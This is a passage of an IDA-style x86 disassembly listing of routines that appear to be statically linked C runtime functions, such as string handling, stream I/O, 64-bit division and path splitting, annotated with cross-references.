loc_4183CF:				; CODE XREF: sub_4182F0+C5j
					; sub_4182F0+CFj ...
		add	edi, 4
		xor	eax, eax
		dec	ecx
		jz	short loc_4183E1


loc_4183D7:				; CODE XREF: sub_4182F0+79j
		xor	eax, eax


loc_4183D9:				; CODE XREF: sub_4182F0+EFj
		mov	[edi], eax
		add	edi, 4
		dec	ecx
		jnz	short loc_4183D9


loc_4183E1:				; CODE XREF: sub_4182F0+E5j
		and	ebx, 3
		jnz	short loc_41836B


loc_4183E6:				; CODE XREF: sub_4182F0+66j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_4182F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4183EE	proc near		; CODE XREF: sub_406B85+2E2p
					; sub_406B85+435p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41846A
		mov	edi, [esp+8+arg_8]
		test	edi, edi
		jz	short loc_41840D
		cmp	edi, 1
		jz	short loc_41840D
		cmp	edi, 2
		jnz	short loc_41846A


loc_41840D:				; CODE XREF: sub_4183EE+13j
					; sub_4183EE+18j
		and	al, 0EFh
		cmp	edi, 1
		mov	[esi+0Ch], eax
		jnz	short loc_418424
		push	esi
		call	sub_41BAD3
		add	[esp+0Ch+arg_4], eax
		pop	ecx
		xor	edi, edi


loc_418424:				; CODE XREF: sub_4183EE+27j
		push	esi
		call	sub_41B4B0
		mov	eax, [esi+0Ch]
		pop	ecx
		test	al, 80h
		jz	short loc_418439
		and	al, 0FCh
		mov	[esi+0Ch], eax
		jmp	short loc_41844D
; ---------------------------------------------------------------------------


loc_418439:				; CODE XREF: sub_4183EE+42j
		test	al, 1
		jz	short loc_41844D
		test	al, 8
		jz	short loc_41844D
		test	ah, 4
		jnz	short loc_41844D
		mov	dword ptr [esi+18h], 200h


loc_41844D:				; CODE XREF: sub_4183EE+49j
					; sub_4183EE+4Dj ...
		push	edi
		push	[esp+0Ch+arg_4]
		push	dword ptr [esi+10h]
		call	sub_41BA39
		add	esp, 0Ch
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		dec	ecx
		mov	eax, ecx
		jmp	short loc_418477
; ---------------------------------------------------------------------------


loc_41846A:				; CODE XREF: sub_4183EE+Bj
					; sub_4183EE+1Dj
		mov	dword_515884, 16h
		or	eax, 0FFFFFFFFh


loc_418477:				; CODE XREF: sub_4183EE+7Aj
		pop	edi
		pop	esi
		retn
sub_4183EE	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418480	proc near		; CODE XREF: sub_406B85+2ACp
					; sub_406B85+2CDp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		jecxz	short loc_4184B1
		mov	ebx, ecx
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		xor	eax, eax
		repne scasb
		neg	ecx
		add	ecx, ebx
		mov	edi, esi
		mov	esi, [ebp+arg_4]
		repe cmpsb
		mov	al, [esi-1]
		xor	ecx, ecx
		cmp	al, [edi-1]
		ja	short loc_4184AF
		jz	short loc_4184B1
		dec	ecx
		dec	ecx


loc_4184AF:				; CODE XREF: sub_418480+29j
		not	ecx


loc_4184B1:				; CODE XREF: sub_418480+9j
					; sub_418480+2Bj
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_418480	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4184C0	proc near		; CODE XREF: sub_40707C+5Cp
					; sub_40707C+9Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_418574
		mov	edi, [esp+4+arg_0]
		push	esi
		test	edi, 3
		push	ebx
		jz	short loc_4184EA


loc_4184DB:				; CODE XREF: sub_4184C0+28j
		mov	al, [edi]
		inc	edi
		test	al, al
		jz	short loc_41851B
		test	edi, 3
		jnz	short loc_4184DB


loc_4184EA:				; CODE XREF: sub_4184C0+19j
					; sub_4184C0+40j ...
		mov	eax, [edi]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	edi, 4
		test	eax, 81010100h
		jz	short loc_4184EA
		mov	eax, [edi-4]
		test	al, al
		jz	short loc_418528
		test	ah, ah
		jz	short loc_418523
		test	eax, 0FF0000h
		jz	short loc_41851E
		test	eax, 0FF000000h
		jnz	short loc_4184EA


loc_41851B:				; CODE XREF: sub_4184C0+20j
		dec	edi
		jmp	short loc_41852B
; ---------------------------------------------------------------------------


loc_41851E:				; CODE XREF: sub_4184C0+52j
		sub	edi, 2
		jmp	short loc_41852B
; ---------------------------------------------------------------------------


loc_418523:				; CODE XREF: sub_4184C0+4Bj
		sub	edi, 3
		jmp	short loc_41852B
; ---------------------------------------------------------------------------


loc_418528:				; CODE XREF: sub_4184C0+47j
		sub	edi, 4


loc_41852B:				; CODE XREF: sub_4184C0+5Cj
					; sub_4184C0+61j ...
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		jnz	short loc_418540
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41858C
		jmp	short loc_41855C
; ---------------------------------------------------------------------------


loc_418540:				; CODE XREF: sub_4184C0+75j
					; sub_4184C0+93j
		mov	dl, [esi]
		inc	esi
		test	dl, dl
		jz	short loc_41857A
		mov	[edi], dl
		inc	edi
		dec	ecx
		jz	short loc_418570
		test	esi, 3
		jnz	short loc_418540
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41858C


loc_41855C:				; CODE XREF: sub_4184C0+7Ej
					; sub_4184C0+CAj
		mov	ecx, ebx
		and	ecx, 3
		jz	short loc_418570


loc_418563:				; CODE XREF: sub_4184C0+AEj
		mov	dl, [esi]
		inc	esi
		mov	[edi], dl
		inc	edi
		test	dl, dl
		jz	short loc_418572
		dec	ecx
		jnz	short loc_418563


loc_418570:				; CODE XREF: sub_4184C0+8Bj
					; sub_4184C0+A1j
		mov	[edi], cl


loc_418572:				; CODE XREF: sub_4184C0+ABj
		pop	ebx
		pop	esi


loc_418574:				; CODE XREF: sub_4184C0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41857A:				; CODE XREF: sub_4184C0+85j
					; sub_4184C0+E8j
		mov	[edi], dl
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_418584:				; CODE XREF: sub_4184C0+E4j
					; sub_4184C0+FCj
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41855C


loc_41858C:				; CODE XREF: sub_4184C0+7Cj
					; sub_4184C0+9Aj
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_418584
		test	dl, dl
		jz	short loc_41857A
		test	dh, dh
		jz	short loc_4185D8
		test	edx, 0FF0000h
		jz	short loc_4185C8
		test	edx, 0FF000000h
		jnz	short loc_418584
		mov	[edi], edx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4185C8:				; CODE XREF: sub_4184C0+F4j
		mov	[edi], dx
		xor	edx, edx
		mov	eax, [esp+0Ch+arg_0]
		mov	[edi+2], dl
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4185D8:				; CODE XREF: sub_4184C0+ECj
		mov	[edi], dx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_4184C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4185F0	proc near		; CODE XREF: sub_4071BD+2A2p
					; sub_40F6F1+32F2p ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		inc	ecx
		neg	ecx
		dec	edi
		mov	al, [ebp+arg_4]
		std
		repne scasb
		inc	edi
		cmp	[edi], al
		jz	short loc_418611
		xor	eax, eax
		jmp	short loc_418613
; ---------------------------------------------------------------------------


loc_418611:				; CODE XREF: sub_4185F0+1Bj
		mov	eax, edi


loc_418613:				; CODE XREF: sub_4185F0+1Fj
		cld
		pop	edi
		leave
		retn
sub_4185F0	endp

; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_418630


loc_418620:				; CODE XREF: sub_418630+1Dj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_418630
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_418630	proc near		; CODE XREF: sub_408B8D+DBp
					; sub_40E08F+32p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 00418620 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]


loc_418636:				; CODE XREF: sub_417980+6Ej
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_41865B


loc_418648:				; CODE XREF: sub_418630+29j
		mov	cl, [edx]
		inc	edx
		cmp	cl, bl
		jz	short loc_418620
		test	cl, cl
		jz	short loc_4186A4
		test	edx, 3
		jnz	short loc_418648


loc_41865B:				; CODE XREF: sub_418630+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax


loc_418666:				; CODE XREF: sub_418630+61j
					; sub_418630+70j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_4186A8
		and	eax, 81010100h
		jz	short loc_418666
		and	eax, 1010100h
		jnz	short loc_4186A2
		and	esi, 80000000h
		jnz	short loc_418666


loc_4186A2:				; CODE XREF: sub_418630+68j
					; sub_418630+81j ...
		pop	esi
		pop	edi


loc_4186A4:				; CODE XREF: sub_418630+21j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4186A8:				; CODE XREF: sub_418630+5Aj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_4186E5
		test	al, al
		jz	short loc_4186A2
		cmp	ah, bl
		jz	short loc_4186DE
		test	ah, ah
		jz	short loc_4186A2
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_4186D7
		test	al, al
		jz	short loc_4186A2
		cmp	ah, bl
		jz	short loc_4186D0
		test	ah, ah
		jz	short loc_4186A2
		jmp	short loc_418666
; ---------------------------------------------------------------------------


loc_4186D0:				; CODE XREF: sub_418630+98j
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4186D7:				; CODE XREF: sub_418630+90j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4186DE:				; CODE XREF: sub_418630+85j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4186E5:				; CODE XREF: sub_418630+7Dj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_418630	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4186EC	proc near		; CODE XREF: sub_408B8D+AFp
					; sub_40F6F1+4A72p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	edi
		mov	edi, ebx
		jg	short loc_418700
		xor	eax, eax
		jmp	short loc_418736
; ---------------------------------------------------------------------------


loc_418700:				; CODE XREF: sub_4186EC+Ej
		dec	[ebp+arg_4]
		push	esi
		jz	short loc_418730
		mov	esi, [ebp+arg_8]


loc_418709:				; CODE XREF: sub_4186EC+42j
		dec	dword ptr [esi+4]
		js	short loc_418718
		mov	ecx, [esi]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		jmp	short loc_41871F
; ---------------------------------------------------------------------------


loc_418718:				; CODE XREF: sub_4186EC+20j
		push	esi
		call	sub_41B582
		pop	ecx


loc_41871F:				; CODE XREF: sub_4186EC+2Aj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41873A
		mov	[edi], al
		inc	edi
		cmp	al, 0Ah
		jz	short loc_418730
		dec	[ebp+arg_4]
		jnz	short loc_418709


loc_418730:				; CODE XREF: sub_4186EC+18j
					; sub_4186EC+3Dj ...
		and	byte ptr [edi],	0


loc_418733:				; CODE XREF: sub_4186EC+55j
		mov	eax, ebx
		pop	esi


loc_418736:				; CODE XREF: sub_4186EC+12j
		pop	edi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41873A:				; CODE XREF: sub_4186EC+36j
		cmp	edi, [ebp+arg_0]
		jnz	short loc_418730
		xor	ebx, ebx
		jmp	short loc_418733
sub_4186EC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418743	proc near		; CODE XREF: sub_40917E+BFp
					; sub_40917E+12Cp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_5158EC
		push	ebx
		xor	ebx, ebx
		cmp	eax, ebx
		mov	[ebp+var_4], ebx
		jnz	short loc_418777
		mov	eax, [ebp+arg_0]
		mov	edx, eax
		cmp	[eax], bl
		jz	short loc_4187DE


loc_41875F:				; CODE XREF: sub_418743+30j
		mov	cl, [edx]
		cmp	cl, 61h
		jl	short loc_418770
		cmp	cl, 7Ah
		jg	short loc_418770
		sub	cl, 20h
		mov	[edx], cl


loc_418770:				; CODE XREF: sub_418743+21j
					; sub_418743+26j
		inc	edx
		cmp	[edx], bl
		jnz	short loc_41875F
		jmp	short loc_4187DE
; ---------------------------------------------------------------------------


loc_418777:				; CODE XREF: sub_418743+11j
		push	esi
		push	edi
		push	1
		push	ebx
		push	ebx
		push	ebx
		push	0FFFFFFFFh
		mov	esi, 200h
		push	[ebp+arg_0]
		push	esi
		push	eax
		call	sub_41BC2B
		mov	edi, eax
		add	esp, 20h
		cmp	edi, ebx
		jz	short loc_4187D0
		push	edi
		call	sub_417BEE
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_4187D0
		push	1
		push	ebx
		push	edi
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	dword_5158EC
		call	sub_41BC2B
		add	esp, 20h
		test	eax, eax
		jz	short loc_4187D0
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_417A00
		pop	ecx
		pop	ecx


loc_4187D0:				; CODE XREF: sub_418743+53j
					; sub_418743+61j ...
		push	[ebp+var_4]
		call	sub_417C62
		mov	eax, [ebp+arg_0]
		pop	ecx
		pop	edi
		pop	esi


loc_4187DE:				; CODE XREF: sub_418743+1Aj
					; sub_418743+32j
		pop	ebx
		leave
		retn
sub_418743	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4187E1	proc near		; CODE XREF: sub_40A8C6+6p
					; sub_40A8E4+4Ap ...

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_5158EC, 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41880E
		mov	eax, [ebp+arg_0]
		cmp	eax, 41h
		jl	loc_4188A7
		cmp	eax, 5Ah
		jg	loc_4188A7
		add	eax, 20h
		jmp	loc_4188A7
; ---------------------------------------------------------------------------


loc_41880E:				; CODE XREF: sub_4187E1+Ej
		mov	ebx, [ebp+arg_0]
		mov	edi, 100h
		push	1
		cmp	ebx, edi
		pop	esi
		jge	short loc_418842
		cmp	dword_43B7AC, esi
		jle	short loc_418830
		push	esi
		push	ebx
		call	sub_419B4D
		pop	ecx
		pop	ecx
		jmp	short loc_41883A
; ---------------------------------------------------------------------------


loc_418830:				; CODE XREF: sub_4187E1+42j
		mov	eax, off_43B5A0
		mov	al, [eax+ebx*2]
		and	eax, esi


loc_41883A:				; CODE XREF: sub_4187E1+4Dj
		test	eax, eax
		jnz	short loc_418842


loc_41883E:				; CODE XREF: sub_4187E1+ADj
		mov	eax, ebx
		jmp	short loc_4188A7
; ---------------------------------------------------------------------------


loc_418842:				; CODE XREF: sub_4187E1+3Aj
					; sub_4187E1+5Bj
		mov	edx, off_43B5A0
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_418866
		and	byte ptr [ebp+arg_0+2],	0
		push	2
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		pop	eax
		jmp	short loc_41886F
; ---------------------------------------------------------------------------


loc_418866:				; CODE XREF: sub_4187E1+74j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		mov	eax, esi


loc_41886F:				; CODE XREF: sub_4187E1+83j
		push	esi
		push	0
		lea	ecx, [ebp+var_4]
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	edi
		push	dword_5158EC
		call	sub_41BC2B
		add	esp, 20h
		test	eax, eax
		jz	short loc_41883E
		cmp	eax, esi
		jnz	short loc_41889A
		movzx	eax, [ebp+var_4]
		jmp	short loc_4188A7
; ---------------------------------------------------------------------------


loc_41889A:				; CODE XREF: sub_4187E1+B1j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_4188A7:				; CODE XREF: sub_4187E1+16j
					; sub_4187E1+1Fj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4187E1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4188AC	proc near		; CODE XREF: sub_40B0E7+204p
					; sub_40B0E7+2B5p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		test	edi, edi
		mov	[ebp+arg_0], eax
		mov	ebx, edi
		jnz	short loc_4188D0
		xor	eax, eax
		jmp	loc_41899D
; ---------------------------------------------------------------------------


loc_4188D0:				; CODE XREF: sub_4188AC+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_4188E3
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_4188EA
; ---------------------------------------------------------------------------


loc_4188E3:				; CODE XREF: sub_4188AC+2Dj
		mov	[ebp+arg_C], 1000h


loc_4188EA:				; CODE XREF: sub_4188AC+35j
					; sub_4188AC+E8j
		mov	ecx, [esi+0Ch]
		and	ecx, 108h
		jz	short loc_41891E
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41891E
		cmp	ebx, eax
		mov	edi, ebx
		jb	short loc_418904
		mov	edi, eax


loc_418904:				; CODE XREF: sub_4188AC+54j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi]
		call	sub_417490
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		sub	ebx, edi
		add	[ebp+arg_0], edi
		jmp	short loc_418964
; ---------------------------------------------------------------------------


loc_41891E:				; CODE XREF: sub_4188AC+47j
					; sub_4188AC+4Ej
		cmp	ebx, [ebp+arg_C]
		jb	short loc_418969
		test	ecx, ecx
		jz	short loc_418932
		push	esi
		call	sub_41B4B0
		test	eax, eax
		pop	ecx
		jnz	short loc_4189AB


loc_418932:				; CODE XREF: sub_4188AC+79j
		cmp	[ebp+arg_C], 0
		jz	short loc_418945
		mov	eax, ebx
		xor	edx, edx
		div	[ebp+arg_C]
		mov	edi, ebx
		sub	edi, edx
		jmp	short loc_418947
; ---------------------------------------------------------------------------


loc_418945:				; CODE XREF: sub_4188AC+8Aj
		mov	edi, ebx


loc_418947:				; CODE XREF: sub_4188AC+97j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi+10h]
		call	sub_41BE4F
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4189A2
		add	[ebp+arg_0], eax
		sub	ebx, eax
		cmp	eax, edi
		jb	short loc_4189A2


loc_418964:				; CODE XREF: sub_4188AC+70j
		mov	edi, [ebp+var_4]
		jmp	short loc_418992
; ---------------------------------------------------------------------------


loc_418969:				; CODE XREF: sub_4188AC+75j
		mov	eax, [ebp+arg_0]
		push	esi
		movsx	eax, byte ptr [eax]
		push	eax
		call	sub_41922E
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_4189AB
		inc	[ebp+arg_0]
		mov	eax, [esi+18h]
		dec	ebx
		mov	[ebp+arg_C], eax
		test	eax, eax
		jg	short loc_418992
		mov	[ebp+arg_C], 1


loc_418992:				; CODE XREF: sub_4188AC+BBj
					; sub_4188AC+DDj
		test	ebx, ebx
		jnz	loc_4188EA
		mov	eax, [ebp+arg_8]


loc_41899D:				; CODE XREF: sub_4188AC+1Fj
					; sub_4188AC+108j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4189A2:				; CODE XREF: sub_4188AC+ADj
					; sub_4188AC+B6j
		or	dword ptr [esi+0Ch], 20h
		mov	eax, [ebp+var_4]
		jmp	short loc_4189AD
; ---------------------------------------------------------------------------


loc_4189AB:				; CODE XREF: sub_4188AC+84j
					; sub_4188AC+CFj
		mov	eax, edi


loc_4189AD:				; CODE XREF: sub_4188AC+FDj
		sub	eax, ebx
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_41899D
sub_4188AC	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4189C0	proc near		; CODE XREF: sub_40BCF7+3Dp
					; sub_40D5BA+2Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_4189E1
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_418A31
; ---------------------------------------------------------------------------


loc_4189E1:				; CODE XREF: sub_4189C0+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_4189EF:				; CODE XREF: sub_4189C0+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_4189EF
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_418A1A
		cmp	edx, [esp+4+arg_4]
		ja	short loc_418A1A
		jb	short loc_418A22
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_418A22


loc_418A1A:				; CODE XREF: sub_4189C0+4Aj
					; sub_4189C0+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_418A22:				; CODE XREF: sub_4189C0+52j
					; sub_4189C0+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_418A31:				; CODE XREF: sub_4189C0+1Fj
		pop	ebx
		retn	10h
sub_4189C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_418A40	proc near		; CODE XREF: sub_40BCF7+24p
					; sub_40D5BA+3Fp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_418A62
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_418AA3
; ---------------------------------------------------------------------------


loc_418A62:				; CODE XREF: sub_418A40+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_418A70:				; CODE XREF: sub_418A40+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_418A70
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_418A9E
		cmp	edx, [esp+8+arg_4]
		ja	short loc_418A9E
		jb	short loc_418A9F
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_418A9F


loc_418A9E:				; CODE XREF: sub_418A40+4Ej
					; sub_418A40+54j
		dec	esi


loc_418A9F:				; CODE XREF: sub_418A40+56j
					; sub_418A40+5Cj
		xor	edx, edx
		mov	eax, esi


loc_418AA3:				; CODE XREF: sub_418A40+20j
		pop	esi
		pop	ebx
		retn	10h
sub_418A40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418AA8	proc near		; CODE XREF: sub_40BDAD+1E3p
					; ___:0040ED32p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_417AF0
		cmp	eax, 1
		pop	ecx
		jb	short loc_418AE3
		cmp	byte ptr [ebx+1], 3Ah
		jnz	short loc_418AE3
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jz	short loc_418ADF
		push	2
		push	ebx
		push	esi
		call	sub_41C3DC
		add	esp, 0Ch
		and	byte ptr [esi+2], 0


loc_418ADF:				; CODE XREF: sub_418AA8+25j
		inc	ebx
		inc	ebx
		jmp	short loc_418AED
; ---------------------------------------------------------------------------


loc_418AE3:				; CODE XREF: sub_418AA8+18j
					; sub_418AA8+1Ej
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_418AED
		and	byte ptr [eax],	0


loc_418AED:				; CODE XREF: sub_418AA8+39j
					; sub_418AA8+40j
		and	[ebp+arg_4], 0
		cmp	byte ptr [ebx],	0
		mov	eax, ebx
		mov	esi, 0FFh
		mov	[ebp+arg_0], eax
		jz	short loc_418B65


loc_418B00:				; CODE XREF: sub_418AA8+87j
		mov	cl, [eax]
		movzx	edx, cl
		test	byte_516DA1[edx], 4
		jz	short loc_418B11
		inc	eax
		jmp	short loc_418B2B
; ---------------------------------------------------------------------------


loc_418B11:				; CODE XREF: sub_418AA8+64j
		cmp	cl, 2Fh
		jz	short loc_418B25
		cmp	cl, 5Ch
		jz	short loc_418B25
		cmp	cl, 2Eh
		jnz	short loc_418B2B
		mov	[ebp+var_4], eax
		jmp	short loc_418B2B
; ---------------------------------------------------------------------------


loc_418B25:				; CODE XREF: sub_418AA8+6Cj
					; sub_418AA8+71j
		lea	ecx, [eax+1]
		mov	[ebp+arg_4], ecx


loc_418B2B:				; CODE XREF: sub_418AA8+67j
					; sub_418AA8+76j ...
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_418B00
		mov	edi, [ebp+arg_4]
		mov	[ebp+arg_0], eax
		test	edi, edi
		jz	short loc_418B65
		cmp	[ebp+arg_8], 0
		jz	short loc_418B60
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_418B49
		mov	edi, esi


loc_418B49:				; CODE XREF: sub_418AA8+9Dj
		push	edi
		push	ebx
		push	[ebp+arg_8]
		call	sub_41C3DC
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_418B60:				; CODE XREF: sub_418AA8+97j
		mov	ebx, [ebp+arg_4]
		jmp	short loc_418B6F
; ---------------------------------------------------------------------------


loc_418B65:				; CODE XREF: sub_418AA8+56j
					; sub_418AA8+91j
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_418B6F
		and	byte ptr [ecx],	0


loc_418B6F:				; CODE XREF: sub_418AA8+BBj
					; sub_418AA8+C2j
